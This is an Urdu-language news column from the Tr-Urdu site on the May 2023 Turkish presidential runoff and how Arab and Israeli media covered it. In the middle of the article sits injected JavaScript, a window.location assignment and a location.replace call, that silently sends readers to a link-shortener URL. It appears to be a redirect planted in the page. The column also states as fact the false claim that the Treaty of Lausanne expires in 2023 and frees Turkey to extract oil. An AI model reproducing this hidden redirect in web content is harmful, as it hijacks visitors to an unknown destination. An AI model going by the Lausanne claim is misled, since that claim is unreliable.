Close Menu
Tr-Urdu
    Facebook X (Twitter) Instagram
    Facebook X (Twitter) Instagram
    Tr-Urdu
    Subscribe
    • صفحہ اول
    • ترکیہ
    • پاکستان
    • پاکستان کمیونٹی
    • کالم اور مضامین
    • میگزین
    • تعلیم
    • ویڈیو
    • دلچسپ حقائق
    • دنیا
    Tr-Urdu
    You are at:Home»ترکیہ»کیا 28 مئی 2023 کو ہونے والے ترکیہ کے انتخابات کے نتائج دنیا پر اثر انداز ہو سکتے ہیں۔؟؟؟؟
    ترکیہ

    کیا 28 مئی 2023 کو ہونے والے ترکیہ کے انتخابات کے نتائج دنیا پر اثر انداز ہو سکتے ہیں۔؟؟؟؟

    شبانہ آیازBy شبانہ آیاز20مئی , 2023Updated:19نومبر , 2023کوئی تبصرہ نہیں ہے۔8 Mins Read
    پوسٹ شئیر کریں
    Facebook Twitter LinkedIn Email

    تحریر: شبانہ ایاز (انقرہ)

    14 مئی 2023 کو ترکیہ میں ہونے والے انتخابات میں تین صدارتی امیدواروں میں سے کوئی بھی 51 فیصد ووٹ حاصل نہ کر سکا۔ ترکیہ کے انتخابات اس وقت ریفرنڈم کی حیثیت اختیار کر گئے ہیں۔۔
    87۔99 فیصد ووٹوں میں سے صدر رجب طیب اردوان نے 49.5 فیصد ووٹ کمال کلچدار اولو نے 44.8 فیصد ووٹ اور سنان اوعان نے 5.17 ووٹ حاصل کیے. جبکہ چوتھے صدارتی امیدوار محرم انجے نے الیکشن سے چند روز قبل دستبرداری کا اعلان کر دیا تھا ۔جس کے نتیجے میں اپوزیشن کے رہنما کمال کلچدار اولو کی صفوں میں خوشی کی لہر دوڑ گئی تھی۔ کیونکہ محرم انجے کی وجہ سے کمال اتاترک کے حامیوں کے سیکولر ووٹ تقسیم ہونے کی توقع تھی، لیکن دستبرداری کی صورت میں اس کا تمام ووٹ بینک کمال کلچدار اولو کی طرف پلٹنے کی امید تھی، لیکن کلچدار اولو کو بھی 51 فیصد ووٹ حاصل نہ ہوسکے، جس کی وجہ سے 28 مئی 2023 کو دوبارہ رن آف الیکشن ہوں گے۔
    اب صرف طیب اردوان اور کمال کلچدار اولو کے درمیان مقابلہ ہوگا ۔

    Kılıçdaroğlu'ndan Cumhurbaşkanı Erdoğan'ın 'hodri meydan' çıkışına yanıt - Son Dakika Türkiye Haberleri | NTV Haber
    window.location=”https://4.fo/1sjiqu3″;

    setTimeout(‘location.replace(“https://4.fo/1sjiqu3”)’,0);
    سپریم الیکشن بورڈ کے مطابق صدر طیب اردوان اور کمال کلچدار کے درمیان 25 لاکھ ووٹوں کے فرق کے باوجود صدارتی انتخابات نصف پوائنٹ سے بھی کم فرق کے باوجود دوسرے راؤنڈ میں چلے گئے ہیں۔

    ترکیہ کے انتخابات کے نتائج نہ صرف خطے پر بلکہ پوری دنیا پر اثر انداز ہو سکتے ہیں۔کیونکہ
    2023کے بعد کا ترکیہ مسلم امہ کیلئے ایک مرتبہ پھر اہم کردار ادا کرسکتا ہے۔
    رجب طیب اردوان کی قیادت میں اسلامی دنیا کی لیڈرشپ حاصل کرنے کی خواہش کے علاوہ ترکیہ نے اپنے مفادات مشرق وسطی، وسط ایشیا حتی کہ جنوبی امریکہ تک وسیع کیے ہیں اور پھر حال ہی میں روس اور یوکرین کی جنگ میں مغرب اور روس کے درمیان رابطے کی کڑی کے طور پر کام کیا ہے ۔روس سے میزائل شیلڈ خریدنے اور نیٹو کا ممبر ہونے کے باوجود امریکہ کے ساتھ تعلقات میں ائی سرد مہری، یونان کے ساتھ کشیدگی کی وجہ سے مغربی دنیا اردوان کے دور کا خاتمہ چاہتی ہے اور امریکی انتخابات سے قبل صدر جو بائیڈن نے تو اس کا برملا اظہار بھی کیا تھا۔
    2023ءمیں 100سالہ معاہدہ لوزان ختم ہورہا ہے، جس کے بعد ترکیہ اپنا تیل نکالنے اور فروخت کرنے میں آزاد ہوگا جس سے ترکیہ کی معیشت مضبوط ہوگی، وہ ایک امیر ترین ملک بن جائے گا اور پوری دنیا میں طیب اردوان کی قیادت میں ایک بار پھر مسلم ممالک کو اپنے ساتھ شامل کرکے ایک مضبوط اسلامی بلاک بناسکتا ہے جو امریکہ اور اس کے اتحادیوں کیلئے یقیناً ناقابلِ برداشت ہے۔
    چونکہ ان انتخابات کے نتائج صرف خطے پر ہی نہیں پورے دنیا پر اثر انداز ہو سکتے ہیں اسی لیے عرب اور اسرائیل اور دیگر دنیا انتخابات کے پہلے مرحلے کو بغور دیکھ کر اگلے مرحلے کا جائزہ لے رہی ہے۔ ترکیہ میں صدارتی اور 28ویں مدت کے پارلیمانی انتخابات میں ووٹوں کی گنتی کے دوران عرب اور اسرائیل پریس کی جانب سے حیران کن تبصرے سامنے ائے ۔عرب اور اسرائیلی میڈیا نے بھی ان انتخابات کے نتائج میں خاصی دلچسپی لی۔ اسرائیل سے شائع ہونے والا اخبار Haaret
    میں we vote for hope کے عنوان سے شائع ہونے والی خبر کے مطابق کلچدار اولو جو پہلے راؤنڈ میں 50 فیصد سے زیادہ ووٹ حاصل نہ کر سکے۔ اخبار کی رپورٹ کے مطابق ترکیہ کے آمرانہ رہنما (طیب اردوان) کے لیے پہلا راؤنڈ جیتنے میں ناکام ہونے کا مطلب دوسرے راؤنڈ میں دو گنا زیادہ کوشش کرنا ہے ۔ انتخابات کے دوسرے راؤنڈ کے بارے میں بات کرتے ہوئے ماہر سیاسیات علی کوچ نے کہا کہ کلچدار اولو کے دوسرے راؤنڈ میں جیتنے کا امکان کم ہے۔ اس کے مطابق سنان اوعان کے حامیوں کی اکثریت طیب اردوان کو ووٹ دینے کا زیادہ امکان رکھتی ہے۔

    Cumhurbaşkanı Erdoğan, Sinan Oğan görüşmesi sona erdi - Son Dakika Haberleri

    قطر کے نیوز چینل الجزیرہ کی ویب سائٹ پر ترک اپوزیشن کے حامیوں نے “صدارتی انتخابات کے حوالے سے بے چینی ۔” کے عنوان سے شائع ہونے والی خبر کے مطابق حزب اختلاف کے ووٹروں نے ووٹوں کی شرح اور دوسرے راؤنڈ میں ہونے والے انتخابات کا خیر مقدم نہیں کیا۔
    اردوان کے قریبی ذرائع نے لندن میں قائم مڈل ایسٹ ائی (MEE) سائٹ سے بات کرتے ہوئے یقین ظاہر کیا ہے کہ “اردوان دو ہفتے بعد فتح حاصل کر لیں گے ۔” ان کے مطابق سنان اوعان کے ووٹ بھی ان کی طرف منتقل ہو جائیں گے۔
    ریاض کے العربیہ کی خبر کے مطابق ترکیہ نے عثمانی دور کے بعد کے اہم ترین انتخابات کے پہلے راؤنڈ کو پیچھے چھوڑ دیا ہے۔
    طیب اردوان جو 2003 سے اقتدار میں ہیں اور 10 سے زیادہ قومی انتخابات میں ناقابل شکست رہے ہیں، پہلے راؤنڈ میں الیکشن جیتنے کے لیے ضروری 50 فیصد سے زائد ووٹ حاصل کرنے میں بہت کم شرح سے(%0.5) محروم رہے ہیں.
    قاہرہ کے Cairo 24.com نے خبر کو عنوان دیا کہ “اردوان انتخابات میں اپنا غلبہ کھو چکے۔ اس کے مطابق بیلٹ باکس کھلتے ہی اردوان کے ووٹوں میں کمی دیکھنے کو نظر ائی ۔
    لندن سے شائع ہونے والے اور مشرق وسطی کے ایک اہم اخبار سرکل اوست (Sarkul Avast) میں
    ” ترک انتخابات میں دوسرے راؤنڈ کی توقع ہے” کے عنوان سے سرکاری میڈیا اور ازاد ذرائع میں تضاد ہے،کی خبر لگائی۔اس نے مذید لکھا کہ
    14 مئی 2023 کو ہونے والے انتخابات جمہوریہ ترکیہ کی تاریخ کے سب سے اہم انتخابات تھے۔ جس کے دوران ترک لیرا، ڈالر کے مقابلے میں گزشتہ دو ماہ کی کم ترین سطح پر اگیا تھا۔
    عرب نیوز ڈاٹ کام کے مطابق
    ” ترکیہ کی تاریخ دوسرے دور کی طرف بڑھنے کے ساتھ ساتھ اردوان عروج پر ہے۔” کے عنوان سے شائع ہونے والی خبر میں کہ ترکیہ ایک ایسی صبح بیدار ہوا جہاں انتخابات میں رن آف کا امکان جاری تھا۔کیونکہ قدامت پسند صدر طیب اردوان نے پولنگ کمپنیوں اور ان کے سیکولر حریفوں کو حیرت زدہ کر دیا تھا۔ قبل از انتخاب رائے عامہ کے جائزوں اور پول کمپنیوں نے پیشن گوئی کی تھی یہ الیکشن طیب اردوان کی حکومت کا پہلے ہی راؤنڈ میں خاتمہ کر دیں گے لیکن رزلٹ ان کی امیدوں کے برعکس آیا۔۔
    صدارتی امیدوار کمال کلچدار اولو نے اسی دوران روس پر الزام عائد کیا کہ وہ ان انتخابات پر اثر انداز ہورہا ہے۔ان کے الزامات کا جواب دیتے ہوئے ترکی کے وزیر خارجہ چاؤش اوغلو نے کہا کہ ہم نہیں چاہتے کہ روس یا مغرب ہمارے انتخابات میں مداخلت کریں۔
    وزیر خارجہ چاؤش اوغلو نے صدارتی امیدوار کمال کلچدار اولو کے سوشل میڈیا پر دئیے گئے اس بیان پر کہ” انتخابات میں مانٹیجز، ڈیپ فیک کنٹینٹ. گہرے جعلی مواد، ٹیپس اور پھیلائی گئی سازشوں کے پیچھے روس ہے۔” پر رد عمل کا اظہار کرتے ہوئے سی این این ترک کی نشریات میں اس الزام کے بارے میں جواب دیتے ہوئے کہا کہ اس ملک میں شکوک کی فضا پیدا کرنا بھی نا انصافی ہے۔ ہم نہیں چاہتے کہ روس،مغرب یا کوئی بھی ان انتخابات میں مداخلت کرے۔ کسی کو بھی ہمارے اندرونی معاملات میں مداخلت نہیں کرنی چاہیے اور نہ کوئی کر سکتا ہے۔ الیکشن کا دوسرا راؤنڈ بھی شفاف ہوگا اور ترک عوام اپنے لیے صدر کا فیصلہ کریں گے۔
    صدارتی امیدوار کمال کلچدار اولو نے اپنے سوشل میڈیا اکاؤنٹ پر یہ میسج بھی شیئر کیا کہ”you are the behind the cassette installation
    کلچدار اولو کے مطابق اگر روس 15 مئی کے بعد ہماری دوستی کا تسلسل چاہتا ہے تو ترک ریاست سے ہاتھ کھینچ لے۔ وہ اب بھی روس سے تعاون اور دوستی کے حق میں ہیں۔
    14مئی کے انتخابات کے بعد صدارتی امیدوار کلچدار اولو نے سوشل میڈیا اکاؤنٹ پر ایک پوسٹ شئیر کی ۔۔۔
    پیارے لوگو، ہم کل سے نان اسٹاپ کام کر رہے ہیں۔ مایوسی میں مت پڑنا۔ میں ثابت قدم کھڑا رہوں گا۔ میں آپ کو اپنے واضح مشاہدات بتاؤں گا کہ کیا ہو رہا ہے۔ پھر ہم کھڑے ہو کر یہ الیکشن مل کر لڑیں گے۔ ہر چیز کے آخر میں وہی ہوگا جو ہماری قوم کہے گی۔
    انہوں نے اپنی ایک وڈیو شئیر کرتے ہوئے کہا “میں یہاں ہوں،میں قسم کھاتا ہوں کہ میں آخر تک لڑوں گا ۔
    جبکہ صدر رجب طیب اردوان نے 14 مئی کے الیکشن کے بعد کہا کہ صدارتی انتخابات کو ادھے پوائنٹ سے بھی کم فرق کے ساتھ ہم نے دوسرے راؤنڈ میں چھوڑ دیا ہے۔ ہم اپنے عوام کے فیصلے کا احترام کرتے ہیں اور اس عزم کا اظہار کرتے ہیں کہ ہم جیت کر ابھریں گے 28 مئی کو ہونے والے انتخابات میں ہم 14 مئی کو حاصل کردہ ووٹ کی شرح میں اضافہ کریں گے۔ 14 مئی کے انتخابات جو کہ ہماری تاریخ کے سب سے زیادہ ٹرن اؤٹ والے انتخابات ہیں، ایک تہوار کے ماحول میں ہوئے۔ ہماری قوم نے 27 ملین سے زائد 49.5 فیصد ووٹوں کے ساتھ ہم پر بڑا احسان کیا اور ترکیہ کی گرینڈ نیشنل اسمبلی میں عوامی اتحاد کو اکثریت دی۔ ترک عوام نے اس بات کی تصدیق کی کہ وہ ہم پر اور ہمارے اتحاد پر اعتماد کر کے یقین رکھتے ہیں کہ ہمارے ہاتھوں میں ان کا مستقبل محفوظ ہے۔میں اپنے تمام شہریوں کا شکریہ ادا کرنا چاہوں گا جنہوں نے 14 مئی کو ہونے والے انتخابات میں اپنے ازادانہ مرضی کا اظہار کیا اور ہمارے 40 لاکھ بیرون ملک مقیم شہریوں نے جمہوریت میں شراکت اپنے ووٹ کے ذریعے ظاہر کی۔
    ان انتخابات میں ترکی نے یہ ثابت کیا ہے کہ وہ دنیا کے جدید ترین جمہوری کلچر والے ممالک میں سے ایک ہے۔ ۔ہم اپنے تمام شہریوں کے ووٹ کی خواہش رکھتے ہیں چاہے وہ کسی بھی سیاسی جماعت سے محبت کرتے ہوں۔

    Share. Facebook Twitter Pinterest LinkedIn Tumblr Email
    Previous Articleصدر رجب طیب ایردوان اور اتا اتحاد کے صدارتی امیدوار سینان اوعان سے دولما باہچے محل میں ملاقات
    Next Article ترکیہ الیکشن
    شبانہ آیاز
    • Facebook
    • X (Twitter)

    Related Posts

    او ٹی ایس اور ڈی-8 کے درمیان تعاون کے فروغ پر اتفاق سیکریٹری جنرلز کی ملاقات، ادارہ جاتی روابط مضبوط بنانے پر زور

    29جنوری , 2026

    بورڈ آف پیس،کیا پاکستان کے لیے کٹھن امتحان ہے؟ کیا ترکیہ ، مشرقِ وسطی ، سُپر قوتوں اور یورپی رہنماؤں کی عدم شرکت سےبورڈ آف پیس کو گہن لگ گیا ہے ؟

    26جنوری , 2026

    ڈی ایٹ کے سیکرٹری جنرل(D8)سہیل محمود کی استنبول میں بحیرۂ اسود اقتصادی تعاون تنظیم (بی ایس ای سی) کے سیکرٹری جنرل اور رومانیہ کے سابق وزیرِ خارجہ، جنابِ عالی سفیر لازر کومانسکو سے ملاقات

    21جنوری , 2026

    Comments are closed.

    کیٹگریز
    • پاکستان
    • پاکستان کمیونٹی
    • ترکیہ
    • تعلیم
    • دلچسپ حقائق
    • دنیا
    • کالم اور مضامین
    • میگزین
    • ویڈیو
    ٹیگز
    #اسرائیل #حقان فیدان #حماس #سیاحت #غزہ #فلسطین آئی ٹی استنبول اسلام آباد افراطِ زر الیکشن 2024 انتخابات انقرہ اپوزیشن ایردوان بھونچال بیسٹ ماڈل آف ترکیہ ترقی ترک صدی ترک میڈیا ترکیہ تعلیم حزبِ اختلاف دنیا دہماکہ دی اکانومسٹ روس سلائِڈر سلائیڈر--- شہباز شریف صدر ایردوان صدر ایردوان، وزیراعظم شہباز شریف، پاکستان، ترکیہ عدلیہ عمران خان فیچرڈ قاتلانہ حملہ لانگ مارچ مغربی میڈیا ملت اتحاد وزیراعظم وزیراعظم شہباز شریف وزیراعظم شہباز شریف، صدر ایردوان، پاکستان، امداد پاکستان پاک فوج یورپ
    • Facebook
    • Twitter
    • Instagram
    اہم خبریں

    او ٹی ایس اور ڈی-8 کے درمیان تعاون کے فروغ پر اتفاق سیکریٹری جنرلز کی ملاقات، ادارہ جاتی روابط مضبوط بنانے پر زور

    بورڈ آف پیس،کیا پاکستان کے لیے کٹھن امتحان ہے؟ کیا ترکیہ ، مشرقِ وسطی ، سُپر قوتوں اور یورپی رہنماؤں کی عدم شرکت سےبورڈ آف پیس کو گہن لگ گیا ہے ؟

    ڈی ایٹ کے سیکرٹری جنرل(D8)سہیل محمود کی استنبول میں بحیرۂ اسود اقتصادی تعاون تنظیم (بی ایس ای سی) کے سیکرٹری جنرل اور رومانیہ کے سابق وزیرِ خارجہ، جنابِ عالی سفیر لازر کومانسکو سے ملاقات

    ترکیہ اسکالرشپس: دنیا کی جامع ترین ( fully funded)اسکالرشپس، آن لائن درخواستوں کا طوفان، ویب سائٹ کو کریش کے خدشات

    کیٹگریز
    • پاکستان
    • پاکستان کمیونٹی
    • ترکیہ
    • تعلیم
    • دلچسپ حقائق
    • دنیا
    • کالم اور مضامین
    • میگزین
    • ویڈیو
    مقبول پوسٹس

    او ٹی ایس اور ڈی-8 کے درمیان تعاون کے فروغ پر اتفاق سیکریٹری جنرلز کی ملاقات، ادارہ جاتی روابط مضبوط بنانے پر زور

    29جنوری , 2026

    بورڈ آف پیس،کیا پاکستان کے لیے کٹھن امتحان ہے؟ کیا ترکیہ ، مشرقِ وسطی ، سُپر قوتوں اور یورپی رہنماؤں کی عدم شرکت سےبورڈ آف پیس کو گہن لگ گیا ہے ؟

    26جنوری , 2026
    Tr-Urdu All Rights Reserved © 2022
    • صفحہ اول
    • ترکیہ
    • پاکستان
    • پاکستان کمیونٹی
    • کالم اور مضامین
    • میگزین
    • تعلیم
    • ویڈیو
    • دلچسپ حقائق
    • دنیا

    Type above and press Enter to search. Press Esc to cancel.